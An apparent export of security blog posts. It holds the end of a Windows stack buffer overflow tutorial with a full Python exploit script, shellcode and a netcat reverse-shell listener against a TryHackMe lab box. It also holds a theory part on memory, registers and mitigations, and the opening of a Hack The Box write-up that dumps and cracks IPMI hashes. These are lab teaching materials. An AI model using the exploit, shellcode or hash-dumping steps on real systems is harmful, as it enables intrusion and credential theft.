32\u0026#34;\\x68\\xc9\\x5a\\x5f\\x32\\x0f\\x1f\\xf6\\x4a\\x2a\\x0e\\xbd\\x0e\\x4a\\x4a\u0026#34; 33\u0026#34;\\x2b\\x58\\x58\\x48\\x3d\\x58\\x40\\x48\\x2d\\x5d\\x58\\x76\\x02\\xc2\\x31\u0026#34; 34\u0026#34;\\x98\\x84\\xdb\\x87\\xfe\\x35\\x58\\x48\\xe1\\x4b\\x66\\x06\\x99\\x66\\x6e\u0026#34; 35\u0026#34;\\xf1\\xcb\\xc0\\xee\\x13\\x34\\x71\\x66\\xa8\\x8b\\xc6\\x93\\xf1\\xcb\\x47\u0026#34; 36\u0026#34;\\x08\\x72\\x14\\xfb\\xf5\\xee\\x6b\\x7e\\xb5\\x49\\x0d\\x09\\x61\\x64\\x1e\u0026#34; 37\u0026#34;\\x28\\xf1\\xdb\u0026#34;; We can add the shell code to our exploit script by copying the entire buffer, and adding it between parentheses like so.\n1import socket 2 3ip = \u0026#34;10.10.164.209\u0026#34; 4port = 1337 5 6prefix = \u0026#34;OVERFLOW10 \u0026#34; 7offset = 537 8overflow = \u0026#34;A\u0026#34; * offset 9retn = \u0026#34;\\xaf\\x11\\x50\\x62\u0026#34; 10padding = \u0026#34;\\x90\u0026#34; * 16 11payload = (\u0026#34;\\x29\\xc9\\x83\\xe9\\xaf\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\u0026#34; 12\u0026#34;\\x1e\\x7b\\x0e\\x0e\\x83\\xee\\xfc\\xe2\\xf4\\xe2\\x93\\x8c\\x0e\\x1e\\x7b\u0026#34; 13\u0026#34;\\x6e\\x87\\xfb\\x4a\\xce\\x6a\\x95\\x2b\\x3e\\x85\\x4c\\x77\\x85\\x5c\\x0a\u0026#34; 14\u0026#34;\\xf0\\x7c\\x26\\x11\\xcc\\x44\\x28\\x2f\\x84\\xa2\\x32\\x7f\\x07\\x0c\\x22\u0026#34; 15\u0026#34;\\x3e\\xba\\xc1\\x03\\x1f\\xbc\\xec\\xfc\\x4c\\x2c\\x85\\x5c\\x0e\\xf0\\x44\u0026#34; 16\u0026#34;\\x32\\x95\\x37\\x1f\\x76\\xfd\\x33\\x0f\\xdf\\x4f\\xf0\\x57\\x2e\\x1f\\xa8\u0026#34; 17\u0026#34;\\x85\\x47\\x06\\x98\\x34\\x47\\x95\\x4f\\x85\\x0f\\xc8\\x4a\\xf1\\xa2\\xdf\u0026#34; 18\u0026#34;\\xb4\\x03\\x0f\\xd9\\x43\\xee\\x7b\\xe8\\x78\\x73\\xf6\\x25\\x06\\x2a\\x7b\u0026#34; 19\u0026#34;\\xfa\\x23\\x85\\x56\\x3a\\x7a\\xdd\\x68\\x95\\x77\\x45\\x85\\x46\\x67\\x0f\u0026#34; 20\u0026#34;\\xdd\\x95\\x7f\\x85\\x0f\\xce\\xf2\\x4a\\x2a\\x3a\\x20\\x55\\x6f\\x47\\x21\u0026#34; 21\u0026#34;\\x5f\\xf1\\xfe\\x24\\x51\\x54\\x95\\x69\\xe5\\x83\\x43\\x13\\x3d\\x3c\\x1e\u0026#34; 22\u0026#34;\\x7b\\x66\\x79\\x6d\\x49\\x51\\x5a\\x76\\x37\\x79\\x28\\x19\\x84\\xdb\\xb6\u0026#34; 23\u0026#34;\\x8e\\x7a\\x0e\\x0e\\x37\\xbf\\x5a\\x5e\\x76\\x52\\x8e\\x65\\x1e\\x84\\xdb\u0026#34; 24\u0026#34;\\x5e\\x4e\\x2b\\x5e\\x4e\\x4e\\x3b\\x5e\\x66\\xf4\\x74\\xd1\\xee\\xe1\\xae\u0026#34; 25\u0026#34;\\x99\\x64\\x1b\\x13\\x04\\x07\\x1e\\xe2\\x66\\x0c\\x1e\\x58\\x27\\x87\\xf8\u0026#34; 26\u0026#34;\\x11\\x1e\\x58\\x49\\x13\\x97\\xab\\x6a\\x1a\\xf1\\xdb\\x9b\\xbb\\x7a\\x02\u0026#34; 27\u0026#34;\\xe1\\x35\\x06\\x7b\\xf2\\x13\\xfe\\xbb\\xbc\\x2d\\xf1\\xdb\\x76\\x18\\x63\u0026#34; 28\u0026#34;\\x6a\\x1e\\xf2\\xed\\x59\\x49\\x2c\\x3f\\xf8\\x74\\x69\\x57\\x58\\xfc\\x86\u0026#34; 29\u0026#34;\\x68\\xc9\\x5a\\x5f\\x32\\x0f\\x1f\\xf6\\x4a\\x2a\\x0e\\xbd\\x0e\\x4a\\x4a\u0026#34; 30\u0026#34;\\x2b\\x58\\x58\\x48\\x3d\\x58\\x40\\x48\\x2d\\x5d\\x58\\x76\\x02\\xc2\\x31\u0026#34; 31\u0026#34;\\x98\\x84\\xdb\\x87\\xfe\\x35\\x58\\x48\\xe1\\x4b\\x66\\x06\\x99\\x66\\x6e\u0026#34; 32\u0026#34;\\xf1\\xcb\\xc0\\xee\\x13\\x34\\x71\\x66\\xa8\\x8b\\xc6\\x93\\xf1\\xcb\\x47\u0026#34; 33\u0026#34;\\x08\\x72\\x14\\xfb\\xf5\\xee\\x6b\\x7e\\xb5\\x49\\x0d\\x09\\x61\\x64\\x1e\u0026#34; 34\u0026#34;\\x28\\xf1\\xdb\u0026#34;) 35postfix = \u0026#34;\u0026#34; 36 37buffer = prefix + overflow + retn + padding + payload + postfix 38 39s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 41try: 42 s.connect((ip, port)) 43 print(\u0026#34;Sending evil buffer...\u0026#34;) 44 s.send(bytes(buffer + \u0026#34;\\r\\n\u0026#34;, \u0026#34;latin-1\u0026#34;)) 45 print(\u0026#34;Done!\u0026#34;) 46except: 47 print(\u0026#34;Could not connect.\u0026#34;) We also added 16 \\x90 bytes as padding for our shellcode. The \\x90 instruction is a NOP or no procedure instruction. We add this in between our return address and our payload in order to ensure that we reach a clean area of memory in which we can run our shell code.\nExploitation Now that we have succesfully crafted our shell code and weaponized the buffer overflow, it's time to launch the attack. We first need to set up a netcat listener on our attackers machine on the port that we specified as LPORT in our shell code earlier. I use rlwrap in order to get a more stable shell. You can also just use netcat.\n1rlwrap nc -nvlp 9001 We then reopen en relaunch the program and execute our exploit script. Just to go over our full attack chain one more time, our script now:\nConnects to the Windows box on port 1337; Prefixes the command with \u0026quot;OVERFLOW10 \u0026quot;; Adds 537 A characters in order to get to the address of the EIP; Overwrites the EIP with a JMP ESP instruction that allows us to jump to a clean area of memory that has no memory protections enabled; Add 16 NOP bytes as padding in order to let our shell code run without issues; Adds the generated shell code to the memory and have it executed; Catch a shell :) Let's run our exploit script.\n1python3 exploit.py 2Sending evil buffer... 3Done! And we get a connection on our listener.\n1rlwrap nc -nvlp 9001 2listening on [any] 9001 ... 3connect to [10.9.0.153] from (UNKNOWN) [10.10.164.209] 49245 4Microsoft Windows [Version 6.1.7601] 5Copyright (c) 2009 Microsoft Corporation. All rights reserved. 6 7whoami \u0026amp;\u0026amp; hostname \u0026amp;\u0026amp; ipconfig 8oscp-bof-prep\\admin 9oscp-bof-prep 10 11Windows IP Configuration 12 13 14Ethernet adapter Local Area Connection 2: 15 16 Connection-specific DNS Suffix . : eu-west-1.compute.internal 17 Link-local IPv6 Address . . . . . : fe80::c5ef:7a65:62be:a27d%16 18 IPv4 Address. . . . . . . . . . . : 10.10.164.209 19 Subnet Mask . . . . . . . . . . . : 255.255.0.0 20 Default Gateway . . . . . . . . . : 10.10.0.1 21 22Tunnel adapter isatap.eu-west-1.compute.internal: 23 24 Media State . . . . . . . . . . . : Media disconnected 25 Connection-specific DNS Suffix . : eu-west-1.compute.internal 26 27C:\\Users\\admin\\Desktop\\vulnerable-apps\\oscp\u0026gt; And boom! We get a shell as the administrator user (since we were running the application as an administrator, and the code is executed in the context of the user that was running the application). We can also notice that the application did not crash when we got a shell onto the system. The reason for this is that we did not send any instructions that the process did not understand, and the process just continues silently asif nothing ever happened.\nConclusion In this tutorial we leveraged the knowledge that we obtained from the theory of part one of this series to weaponize a stack based buffer overflow one step at the time in order to gain control over the underlaying operating system. I would very much encourage you to go through some of the other tasks within this TryHackMe room. Once you get the methodology down, nobody will be able to stop you, and you will be able to fully exploit a buffer overflow and document it in less than 30 minutes.\nIf you're ready to try something slightly more difficult, you can try out the brainpan and dostackbufferoverflowgood binaries. These are very similar to the one we just exploited, but require you to take a look at the postfix and maybe alter the python script a bit.\nI know that vulnerabilities like the one described in this post barely exist nowadays, but it's still good to learn the basics of how the buffer overflow works. If I ever start with the Offensive Security Exploit Development (OSEP) course I will make sure to write another more advanced walkthrough. I hope this series has been useful for you, and that you are no longer afraid of simple x86 stack-based buffer overflows :)\n","link":"https://aegrah.github.io/post/2022-02-25-x86-windows-buffer-overflow-pt2.html","section":"post","tags":["Buffer Overflow","Windows"],"title":"x86 Stack-Based Windows Buffer Overflow - Pt. 2"},{"body":"This tutorial is part one of a two part series that focuses on binary exploitation, in particular on x86 stack-based Windows buffer overflows. This part of the series focuses on the theory behind memory, processors and buffer overflows. We first take a look at some simple c programs and assembly, then dive into the different memory regions and how processes are executed. We then take a look at a vulnerable program in a debugger to see what a buffer overflow looks like. Finally, we discuss what memory protection mechanisms exist and how to use them to mitigate buffer overflows.\nC Programming and Assembly In order to make a computer conduct a specific task, a human must provide the exact instructions that must be executed. As humans aren't too comfortable writing computer instructions, we first write a program out in human readable code, after which we compile it into instructions that a computer can understand.\nAs an example, the following C code would print \u0026quot;Hello World!\u0026quot; to the screen:\n1#include \u0026lt;stdio.h\u0026gt; 2 3void main(void) 4{ 5 puts(\u0026#34;Hello World!\u0026#34;); 6} For a computer to understand this, we must first compile it into assembly code in order for it to be executed by the computer. This is done by using gcc, which requires C code as input, and translates the code into assembly so that gcc can output a binary file:\n1gcc hello_world.c -o hello_world Binaries can be compiled into different architectures, and different processors can deal with different assembly code architectures. If we take a look at the compiled binary in Intel syntax, we can see the following assembly code:\n1objdump -D hello_world -M intel | less 2 30000000000001135 \u0026lt;main\u0026gt;: 4 1135: 55 push rbp 5 1136: 48 89 e5 mov rbp,rsp 6 1139: 48 8d 3d c4 0e 00 00 lea rdi,[rip+0xec4] # 2004 \u0026lt;_IO_stdin_used+0x4\u0026gt; 7 1140: e8 eb fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 8 1145: 90 nop 9 1146: 5d pop rbp 10 1147: c3 ret 11 1148: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 12 114f: 00 Assembly is difficult to understand when you look into it for the first time. In the assembly above, we can see that the main function we wrote in C code, calls puts@plt (just like in our C code), and then returns a value.\nWithout knowing what the assembly code exactly does, we can already make an educated guess that it outputs something to the screen (given the puts call). When we execute the binary, we can see that we were right.\n1./hello_world 2 3\u0026gt; Hello World! Before we dive into more \u0026quot;advanced\u0026quot; binaries and talk about what a buffer overflow is, how it's caused and how to exploit it, we should first examine a few basic concepts such as memory, the stack, CPU registers, pointers and how a process interacts within these concepts.\nWhen we launch an application, a process is created which gets allocated a certain amount of memory. This memory contains all information the process needs to execute, such as any dynamic link libraries (DLL's), shared objects (SO's) and the code itself.\nMemory Overview The image below shows how a process looks like in main memory. I will briefly discuss the different memory segments, but make sure to read Gabriele Tolomei's post on the subject linked here to get a more elaborate understanding on the topic.\nImage 1 - Memory Overview - Source\nThe text segment is the segment of the memory that contains the code and the instructions that are executed by the process.\nThe data segment contains the global and static variables that are initialized by the programmer.\nThe BSS segment, or block starting symbol, contains statically allocated variables that are declared but have not yet been assigned a value.\nThe heap segment contains dynamically allocated memory, which is often used for instances where the required memory at run-time cannot statically be determined by the compiler prior to execution. The heap is managed by the malloc, calloc, realloc and free operations, and grows upwards to higher memory addresses.\nThe stack segment contains the program stack, which is a section of memory that stores temporary data and is executed through a last-in-first-out (LIFO) structure, typically located in higher parts of memory. As opposed to the heap, the stack grows downwards to lower memory addresses. The set of values used by one function is called the stack frame. Whenever a value is added or removed from the stack, a stack pointer registers the \u0026quot;new\u0026quot; top of the stack, ensuring that the program is executing the correct instructions.\nRegisters When a processor wants to temporary store data from larger memory, it uses smaller registers to do so. Registers are quickly accessible, and allow for a quick program flow. 32-bit and 64-bit CPU architectures use different registers. In this section we will be taking a look at the available 32-bit registers and their purpose.\nRegister Purpose EAX stores returned values from functions EBX scratch / temporary register ECX scratch / temporary register EDX scratch / temporary register EDI scratch / temporary register ESI scratch / temporary register EBP special register --\u0026gt; stores a pointer to the address of the base pointer EIP special register --\u0026gt; stores a pointer to the address of the instruction that is currently being executed ESP special register --\u0026gt; stores a pointer to the address of the top of the stack The EAX, EBX, ECX, EDX, EDI and ESI are general purpose registers, and are used to execute general CPU instructions and do not require further explanation.\nPointers The EBP/EIP and ESP are special registers and have dedicated functionalities to ensure the program is executed succesfuly.\nThe extended instruction pointer (EIP) stores the offset of the next instruction to be executed. After every instruction the EIP is moved to the next instruction. The EIP ensures that the program flow is running correctly.\nThe extended stack pointer (ESP) is the current stack pointer, which changes any time an address is added or removed onto/off the stack. ESP always points to the top of the stack.\nThe extended base pointer (EBP) is the pointer to the top of the stack when the function is first called, thus it points to the base of the function.\nFlags Flags are used as a collection of bits representing Boolean values. Flags store the results of operatoins and the state of the processor. They are used to provide extra information regarding the address state of a register. In the table below you can find an overview with the most commonly used flags.\nFlag Description CF - carry flag set if the last arithmetic operation carried (addition) or borrowed (subtraction) a bit beyond the size of the register PF - parity flag set if the number of set bits in the least significant byte is a multiple of 2 ZF - zero flag set if the result of an operation is 0 SF - sign flag set if the result of an operation is negative DF - direction flag stream direction. If set, string operations will decrement their pointer rather than incrementing it, reading memory backwards OF - overflow flag set if signed arithmetic operations result in a value too large for the register to contain There are more flags than the one listed in the table above, but as they are not often used, I do not want to add extra confusion to this topic.\nWords Intel represents data sizes in terms of bytes and words. A WORD is 16 bits or 2 bytes of data. A DWORD (double WORD) is 32 bits or 2 bytes of data. A QWORD is 64 bits or 4 bytes of data. /bin\nInstructions Machine instructions generally fall into three categories: data movement, arithmetic/logic, and control-flow. This section takes a look at a subset of the most used instructions within the three categories.\nWhenever brackets [] are used, they are meant to dereference in order to deal with pointers. Dereferencing a pointer means to treat a pointer like the value it points to.\nData Movement mov - move (Opcodes: 88, 89, 8A, 8B, 8C, 8E, ...)\nThe move instruction moves data from one register to another register.\n1mov eax, ebx Which copies the value in EBX to EAX.\npush - push stack (Opcodes: FF, 89, 8A, 8B, 8C, 8E, ...)\nThe push instruction pushes a value onto the top of the stack.\n1push eax Pushes eax onto the stack.\npop - pop stack\nThe pop instruction removes (pops) a value off of the stack\n1pop eax Removes (pops off) eax from the stack.\nlea - load effective address\nThe lea instruction calculates the address of the second operand, and moves that adress to the first operand.\n1lea edi, [ebx+4*esi] The value of EBX + 4 * ESI is moved into EDI.\nArithmetic / Logic add - integer addition\nThe add instruction adds the contents of two operands together, and stores it in the first operand.\n1add ebx, 10 The value of ebx is increased by 10.\nsub - integer substraction\nThe sub intrusction substracts the contents of two operanderd together, and stores it in the first operand.\n1sub ebx, 10 The value of ebx is decreased by 10.\ninc, dec - increment, decrement\nThe inc instruction increments the contents of its operand by one. The dec instruction decrements the contents of its operand by one.\n1inc edi 2dec edi The value of EDI is first incremented by one, and then decremented by one.\nimul - integer multiplication\nThe imul instruction multiplies the two operands together, and stores the result in the first operand. When three operands are supplied, the second and third operands are multiplied and stores in the first operand.\n1imul eax, [var] 2 3imul esi, edi, 25 The first line multiplies the value of EAX with the value of the memory location of VAR (as we are using dereferencing brackets), and store it in EAX. The second line multiplies the value of EDI with 25, and stores the result in ESI.\nand, or, xor - bitwise logical and, or and exclusive or\nThe and, or and xor instructions execute the logical bitwise and, or and exclusive or operations on their operands, storing the results in the first operand.\n1xor edx, eax The EDX register will be set equal to EDX ^ EAX.\nControl-Flow jmp - jump\nThe jump instruction jumps to the supplied address. It is used to redirect code or create loops and conditions.\n1jmp begin 2jmp 0x602010 The first instruction is used to jump to the label \u0026quot;begin\u0026quot;. The second instruction jumps to the memory address 0x602010. The program continues executing the instructions after the jump.\njcondition - conditional jump (je, jne, jz, jg, jge, jl, jle, ...)\nThere are several conditional jumps that can be used to add logic to the process. A few examples of this are jump when equal (je), jump when not equal (jne), jump when last result was zero (jz), jump when greater than (jg), jump when greater than or equal to (jge), jump when less than (jl) or jump when less than or equal to (jle).\n1cmp eax, ebx 2jle done If the contents of the EAX are less than or equal to the contents of EBX, jump to the label done. Otherwise continue with the next instruction.\ncmp - compare\nThe compare instruction compares the value of the first operand with the value of the second operand, and checks whether the result is less than zero, greather than zero or equal to zero. Depending on the result, a flag is set accordingly.\ncall, ret - subroutine call and return\nThe call and return subroutine is similar to the jmp instruction. The difference between the two is that the call and ret routine pushes the values of EBP and EIP onto the stack, and then jump to whatever address is given. It then executes the function, and returns to pushed EBP and EIP values when it's done, so that it can continue the execution of the process exactly where it left off before executing the function.\nInstructions Example Now that we know a bit of theory regarding registers and instructions, let's take another look at the program we wrote earlier and try to understand it a bit better.\n1objdump -D hello_world -M intel | less 2 30000000000001135 \u0026lt;main\u0026gt;: 4 1135: 55 push rbp 5 1136: 48 89 e5 mov rbp,rsp 6 1139: 48 8d 3d c4 0e 00 00 lea rdi,[rip+0xec4] 7 1140: e8 eb fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 8 1145: 90 nop 9 1146: 5d pop rbp 10 1147: c3 ret 11 1148: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 12 114f: 00 We can see that we first push rbp onto the stack. We then move the data of RSP to RBP. Next, we move the outcome of [RIP + 0xec4] to RDI, and call a function named puts@plt. We then see a NOP, which stands for no procedure, which does nothing. We then pop RBP off of the stack and move out of the puts@plt function by returning to the main process.\nStack-Based Buffer Overflow A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations.\nNow that we learnt the basics about memory and processors we can move on to what causes a buffer overflow. To do so, we will go through a very simple example, and only crash the program. In the next tutorial I will show you how to crash a system, control its memory and weaponize our attack to gain control over a server.\nLet's create a simple c program that uses the gets function with a statically defined buffer to store a name. The input for the name that is stored is user controled.\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;string.h\u0026gt; 3 4int main(void) 5{ 6 char buffer[12]; 7 8 printf(\u0026#34;Enter your name: \\n\u0026#34;); 9 gets(buffer); 10 11 return 0; 12} Let's use gcc to compile the program and take a look at the output.\n1gcc vulnerable_program.c -o vulnerable_program 2 3vulnerable_program.c: In function ‘main’: 4vulnerable_program.c:9:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 5 9 | gets(buffer); 6 | ^~~~ 7 | fgets 8/usr/bin/ld: /tmp/cctcPoTi.o: in function `main\u0026#39;: 9vulnerable_program.c:(.text+0x24): warning: the `gets\u0026#39; function is dangerous and should not be used. Our compiler tells us that the \u0026quot;gets\u0026quot; function is dangerous, and that it should not be used. Instead it tells us we should use \u0026quot;fgets\u0026quot;, which is the safer variant of gets. Let's take a look at the binary in objectdump to see what it's doing in Assembly.\n1objdump -D vulnerable_program -M intel | less 2 30000000000001149 \u0026lt;main\u0026gt;: 4 1149: 55 push rbp 5 114a: 48 89 e5 mov rbp,rsp 6 114d: 48 83 ec 10 sub rsp,0x10 7 1151: 48 8d 05 ac 0e 00 00 lea rax,[rip+0xeac] 8 1158: 48 89 c7 mov rdi,rax 9 115b: e8 d0 fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 10 1160: 48 8d 45 f4 lea rax,[rbp-0xc] 11 1164: 48 89 c7 mov rdi,rax 12 1167: b8 00 00 00 00 mov eax,0x0 13 116c: e8 cf fe ff ff call 1040 \u0026lt;gets@plt\u0026gt; 14 1171: b8 00 00 00 00 mov eax,0x0 15 1176: c9 leave 16 1177: c3 ret 17 1178: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 18 117f: 00 We can see the calls to the gets function which asks for user input and the puts function that outputs the provided information to the screen.\nLet's execute the program and supply our name to see what happens.\n1chmod +x vulnerable_program.c 2 3./vulnerable_program 4Enter your name: 5Ruben When we supply \u0026quot;Ruben\u0026quot;, the program exits and nothing bad happens. When we use gdb to look at what's happening, we can see that the program can handle our input and exit normally. The issue arises when we exceed the statically defined buffer of 12 characters. We supply 20 characters and see what happens.\n1python3 -c \u0026#34;print(\u0026#39;A\u0026#39; * 20)\u0026#34; 2AAAAAAAAAAAAAAAAAAAA 3 4./vulnerable_program 5Enter your name: 6AAAAAAAAAAAAAAAAAAAA 7 8zsh: bus error ./vulnerable_program We get an error, after which the program crashes. Nice, we triggered the buffer overflow. Let's take a look at the binary, and see what happens when we supply 20 \u0026quot;A\u0026quot; characters. For this we use gdb, set a breakpoint at main, take a look at the registers prior to supplying input, then add the 20 A's, examine the crash and look at the state of the program after the crash.\n1gdb vulnerable_program # launch vulnerable_program in gdb 2 3(gdb) b main # sets a breakpoint at main 4Breakpoint 1 at 0x114d 5 6(gdb) run # run will run the current program 7Starting program: /home/kali/Documents/bufferoverflow/vulnerable_program 8 9Breakpoint 1, 0x000055555555514d in main () 10 11(gdb) info registers # info registers shows us the info of the registers 12rax 0x555555555149 93824992235849 13rbx 0x555555555180 93824992235904 14rcx 0x7ffff7fa6738 140737353770808 15rdx 0x7fffffffdfa8 140737488347048 16rsi 0x7fffffffdf98 140737488347032 17rdi 0x1 1 18rbp 0x7fffffffdea0 0x7fffffffdea0 19rsp 0x7fffffffdea0 0x7fffffffdea0 20 21(gdb) n # we supply n to move to the next instruction 22Single stepping until exit from function main, 23which has no line number information. 24 25Enter your name: 26AAAAAAAAAAAAAAAAAAAA 27 28Program received signal SIGBUS, Bus error. 290x00007ffff7dff700 in check_stdfiles_vtables () at vtables.c:85 3085 vtables.c: No such file or directory. And we see the crash. If we now take a look at the registers, we can see that the RBP is set to 0x4141414141414141.\n1(gdb) info registers 2rax 0x0 0 3rbx 0x555555555180 93824992235904 4rcx 0x7ffff7fa69a0 140737353771424 5rdx 0x0 0 6rsi 0x5555555596b1 93824992253617 7rdi 0x7ffff7fa9680 140737353782912 8rbp 0x4141414141414141 0x4141414141414141 9rsp 0x7fffffffdeb0 0x7fffffffdeb0 0x41 is hex for \u0026quot;A\u0026quot;. Because we supplied too many characters in the buffer, the base pointer was overwritten, thus the program tries to return to 0x4141414141414141 after finishing its function. This address does not exist, and therefore the program does not know where to go next and crashes.\nWe just went through a very basic bufferoverflow attack, which allowed us (as an attacker) to simply crash the program. The bufferoverflow in this example was not weaponized any further. In part two of this tutorial series I will go through the whole process of exploiting a buffer overflow vulnerability, and gain access over the server that is running the application in the process.\nProtections It wouldn't be a good tutorial if it doesn't end with recommendations as to how prevent a buffer overflow attack of occuring in the first place. First of all, it is important to not use vulnerable functions such as gets, and instead use the safe variant such as fget. We can also implement memory protection measures to protect our binaries such as ASLR, PIE and canaries.\nAddress space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.\nData execution prevention (DEP) or no-execute (NX) marks memory regions as non-executable, such that an attempt to execute machine code in these regions will cause an exception.\nRelocation read-only (RELRO) ensures that the linker resolves all dynamically linke dfunctions at the beginning of the execution, and then makes the global offset table (GOT) read only.\nPosition-independent executable (PIE) are an output of the hardened package build process. A PIE binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed.\nStack canaries can be used to detect if the return address was overwritten, and makes it more difficult to make a flow hijack.\nWhen the above protections are implemented, and safe syntax is used within the program, we can prevent most buffer overflow vulnerabilities.\nWe can take a look at our binary, to see what protections are enabled using the checksec program.\n1checksec vulnerable_program 2[*] \u0026#39;/home/kali/Documents/bufferoverflow/vulnerable_program\u0026#39; 3 Arch: amd64-64-little 4 RELRO: Partial RELRO 5 Stack: No canary found 6 NX: NX enabled 7 PIE: No PIE (0x400000) If we want to enable memory protection for our executable, we can compile the program with the following gcc command.\n1gcc vulnerable_program.c -o vulnerable_program_with_protections -fPIE -fstack-protector-all When we now take a look at the protections of the binary, we can see that canary, nx and pie are enabled.\n1checksec vulnerable_program_with_protections 2[*] \u0026#39;/home/kali/Documents/bufferoverflow/vulnerable_program_with_protections\u0026#39; 3 Arch: amd64-64-little 4 RELRO: Partial RELRO 5 Stack: Canary found 6 NX: NX enabled 7 PIE: PIE enabled I hope this tutorial was useful for you. If you want to learn how to weaponize a bufferoverflow you should check out part two of this series. See you at the next one!\n","link":"https://aegrah.github.io/post/2022-02-25-x86-windows-buffer-overflow-pt1.html","section":"post","tags":["Buffer Overflow","Windows"],"title":"x86 Stack-Based Windows Buffer Overflow - Pt. 1"},{"body":"Today we will be taking a look at \u0026quot;Shibboleth\u0026quot; from Hack the Box. To get get a foothold onto the box we first exploit the vulnerable-by-design IPMI protocol to obtain an administrator hash for Zabbix, and crack it. Through Zabbix we can execute local commands and obtain a shell. We can then use a recent MariaDB privilege escalation exploit to escalate to the root user.\nFoothold As always, we start off with a simple nmap scan to enumerate ports, services and version numbers.\n1nmap -sC -sV -oN shibboleth.htb We only find one port open, which is port 80 HTTP.\n1PORT STATE SERVICE REASON VERSION 280/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 3|_http-title: FlexStart Bootstrap Template - Index 4|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34 5| http-methods: 6|_ Supported Methods: GET POST OPTIONS HEAD 7|_http-server-header: Apache/2.4.41 (Ubuntu) Visiting the web page, we see it's a bootstrap template with lorem ipsum content, which doesn't provide us with any useful information. We look through the source code of the web page, but there's no hidden comments, directories or scripts that point out. Let's check for interesting web directories / files through Gobuster.\n1gobuster dir -u http://shibboleth.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x html Gobuster provides us the following information.\n1/blog.html (Status: 200) [Size: 19196] 2/assets (Status: 301) [Size: 317] [--\u0026gt; http://shibboleth.htb/assets/] 3/forms (Status: 301) [Size: 316] [--\u0026gt; http://shibboleth.htb/forms/] 4/index.html (Status: 200) [Size: 59474] 5/server-status (Status: 403) [Size: 279] We check the directories, but don't find any new or interesting information. As we have no other services to enumerate, it seems like a good moment to start enumerating virtual hosts. For this we can either use a built-in nmap script or wfuzz. Let's try both and compare the results. We start off with nmap.\n1nmap -p 80 --script http-vhosts --script-args http-vhosts.domain=shibboleth.htb 10.129.128.185 Which provides us with the following output.\n1PORT STATE SERVICE 280/tcp open http 3| http-vhosts: 4| 127 names had status 302 5|_monitor.shibboleth.htb : 200 We see that nmap received 127 redirects, and one page with a 200 status code, indicating that monitor.shibboleth.htb is a valid subdomain. As nmap by default only enumerates 128 domains, we could use the \u0026quot;http-vhosts.filelist\u0026quot; argument to specify a custom wordlist. As I would also like to showcase wfuzz virtual host enumeration, I'll skip nmap and get straight into wfuzz. We issue the following command.\n1wfuzz -c -u http://shibboleth.htb/ -H \u0026#34;Host: FUZZ.shibboleth.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26 -f wfuzz.out We specify the usage of colors with -c flag, enumerate host headers (which are used to indicate sub domains) by supplying the -H flag and hide any page containing 26 words to ensure we aren't getting any false positives. Wfuzz returns the following results.\n1===================================================================== 2ID Response Lines Word Chars Payload 3===================================================================== 4 5000000099: 200 29 L 219 W 3687 Ch \u0026#34;monitor\u0026#34; 6000000346: 200 29 L 219 W 3687 Ch \u0026#34;monitoring\u0026#34; 7000000390: 200 29 L 219 W 3687 Ch \u0026#34;zabbix\u0026#34; Indicating that monitor.shibboleth.htb, monitoring.shibbolth.htb and zabbix.shibboleth.htb exist. We add these domains to our /etc/hosts file and visit them. All three pages greet us with a Zabbix login page. We attempt to login with default admin:zabbix credentials but no luck.\nZabbix is an open source IT-infrastructure monitoring tool, often used in combination with remote access controllers such as Dell's Integrated Dell Remote Access Controller (iDRAC) or HP's Integrated Lights-Out (iLO) tools. These tools often leverage the intelligent platform management interface (IPMI) protocol over UDP to remotely administer hardware devices. IPMI by default runs on UDP port 623. We check to see if this port is open.\n1sudo nmap -sU -p 623 shibboleth.htb As a sidenote, UDP nmap scans require root privileges because UDP doesn't inform users when a package is dropped (due to it's best effort nature), and therefore ICMP is required to test for open ports, which requires root privileges. We get the following results.\n1PORT STATE SERVICE 2623/udp open asf-rmcp Indicating that UDP port 623 indeed is open. As the IPMI protocol has built-in security flaws by default, we can leverage this to get the hashes of known users. To utilize this flaw, we launch Metasploit and use the \u0026quot;auxiliary/scanner/ipmi/ipmi_dumphashes\u0026quot; module. We set the following options.\n1msf6 \u0026gt; use auxiliary/scanner/ipmi/ipmi_dumphashes 2msf6 \u0026gt; set OUTPUT_HASHCAT_FILE hashes.txt 3msf6 \u0026gt; set RHOSTS shibboleth.htb 4msf6 \u0026gt; run Which provides us with the following hash for the Administrator user.\n1[+] 10.129.128.185:623 - IPMI - Hash found: Administrator:409e012f8201000096ed21758c10db6c69c431dd0097f02994c357198bd6f3e56f99c6613255d7bea123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:fa695037a8d95e8ff81a2f5953ed974658972064 2[*] Scanned 1 of 1 hosts (100% complete) 3[*] Auxiliary module execution completed Now that we have the hash for the administrator user, we utilize hashcat to try and crack it. Hashcat doesn't automatically detect the hash that we provide, so we need to check the --example-hashes to figure out the correct hashcat mode. For this we issue the following command.\n1hashcat --example-hashes | grep -i \u0026#34;ipmi\u0026#34; -A 5 -B 1 By specifiying the -i flag we do an case insensitive search, and using the -A 5 and -B 1 we find the 5 lines after ipmi, and one line before ipmi, which shows us exactly the details that we need.\n1Hash mode #7300 2 Name................: IPMI2 RAKP HMAC-SHA1 3 Category............: Network Protocol 4 Slow.Hash...........: No 5 Password.Len.Min....: 0 6 Password.Len.Max....: 256 7 Salt.Type...........: Embedded Hashcat doesn't expect the username in an IPMI hash by default, so we specify --username to ignore 